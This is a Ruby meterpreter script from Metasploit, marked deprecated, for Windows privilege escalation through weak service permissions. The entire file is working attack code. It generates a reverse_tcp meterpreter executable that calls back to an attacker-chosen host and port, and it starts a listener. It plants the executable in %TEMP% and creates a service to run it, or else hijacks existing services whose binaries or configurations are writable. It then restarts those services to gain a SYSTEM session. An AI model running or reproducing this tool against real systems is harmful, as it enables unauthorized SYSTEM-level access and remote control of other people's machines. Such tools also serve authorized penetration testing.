## # WARNING: Metasploit no longer maintains or accepts meterpreter scripts. # If you'd like to imporve this script, please try to port it as a post # module instead. Thank you. ## ## # Many services are configured with insecure permissions. This # script attempts to create a service, then searches through a list of # existing services to look for insecure file or configuration # permissions that will let it replace the executable with a payload. # It will then attempt to restart the replaced service to run the # payload. If that fails, the next time the service is started (such as # on reboot) the attacker will gain elevated privileges. # # scriptjunkie googlemail com # ## if client.platform !~ /win32/ print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end # # Options # opts = Rex::Parser::Arguments.new( "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], "-h" => [ false, "This help menu"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # # Default parameters # rhost = Rex::Socket.source_address("1.2.3.4") rport = 4444 aggressive = false # # Option parsing # opts.parse(args) do |opt, idx, val| case opt when "-a" aggressive = true when "-h" print_status("Generic weak service permissions privilege escalation.") print_line(opts.usage) raise Rex::Script::Completed when "-r" rhost = val when "-p" rport = val.to_i end end envs = client.sys.config.getenvs('TEMP', 'SYSTEMROOT') tempdir = envs['TEMP'] sysdir = envs['SYSTEMROOT'] # Get the exe payload. pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") pay.datastore['LHOST'] = rhost pay.datastore['LPORT'] = rport raw = pay.generate exe = Msf::Util::EXE.to_win32pe(client.framework, raw) #and placing it on the target in %TEMP% tempexename = Rex::Text.rand_text_alpha((rand(8)+6)) tempexe = "#{tempdir}\\#{tempexename}.exe" print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}") fd = client.fs.file.new(tempexe, "wb") fd.write(exe) fd.close #get handler to be ready handler = client.framework.exploits.create("multi/handler") handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" handler.datastore['LHOST'] = rhost handler.datastore['LPORT'] = rport handler.datastore['InitialAutoRunScript'] = "migrate -f" handler.datastore['ExitOnSession'] = false #start a handler to be ready handler.exploit_simple( 'Payload' => handler.datastore['PAYLOAD'], 'RunAsJob' => true ) #attempt to make new service client.railgun.kernel32.LoadLibraryA("advapi32.dll") client.railgun.get_dll('advapi32') client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[ [ "DWORD", "hService", "in" ] ]) #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config print_status("Trying to add a new service...") adv = client.railgun.advapi32 manag = adv.OpenSCManagerA(nil,nil,0x10013) if(manag["return"] != 0) # SC_MANAGER_CREATE_SERVICE = 0x0002 newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 if(newservice["return"] != 0) print_status("Created service... #{newservice["return"]}") ret = adv.StartServiceA(newservice["return"], 0, nil) print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") service_delete("walservice") adv.CloseServiceHandle(newservice["return"]) if aggressive == false adv.CloseServiceHandle(manag["return"]) raise Rex::Script::Completed end else print_status("Uhoh. service creation failed, but we should have the permissions. :-(") end else print_status("No privs to create a service...") manag = adv.OpenSCManagerA(nil,nil,1) if(manag["return"] == 0) print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") end end print_status("Trying to find weak permissions in existing services..") #Search through list of services to find weak permissions, whether file or config serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" #for each service service_list.each do |serv| begin srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s if srvtype != "16" continue end moved = false configed = false #default path, but there should be an ImagePath registry key source = "#{sysdir}\\system32\\#{serv}.exe" #get path to exe; parse out quotes and arguments sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s sourcemaybe = client.fs.file.expand_path(sourceorig) if( sourcemaybe[0] == '"' ) sourcemaybe = sourcemaybe.split('"')[1] else sourcemaybe = sourcemaybe.split(' ')[0] end begin client.fs.file.stat(sourcemaybe) #check if it really exists source = sourcemaybe rescue print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") end #try to exploit weak file permissions if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) client.railgun.kernel32.CopyFileA(tempexe, source, false) print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") moved = true end #try to exploit weak config permissions #open with SERVICE_CHANGE_CONFIG (0x0002) servhandleret = adv.OpenServiceA(manag["return"],serv,2) if(servhandleret["return"] != 0) #SERVICE_NO_CHANGE is 0xFFFFFFFF if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") configed = true end adv.CloseServiceHandle(servhandleret["return"]) end if(moved != true && configed != true) print_status("No exploitable weak permissions found on #{serv}") continue end print_status("Restarting #{serv}") #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) if(servhandleret["return"] != 0) #SERVICE_CONTROL_STOP = 0x00000001 if(adv.ControlService(servhandleret["return"],1,56)) client.railgun.kernel32.Sleep(1000) adv.StartServiceA(servhandleret["return"],0,nil) print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") #Cleanup if moved == true client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) end if configed == true servhandleret = adv.OpenServiceA(manag["return"],serv,2) adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) adv.CloseServiceHandle(servhandleret["return"]) end if aggressive == false raise Rex::Script::Completed end else print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") end adv.CloseServiceHandle(servhandleret["return"]) else print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") end rescue end end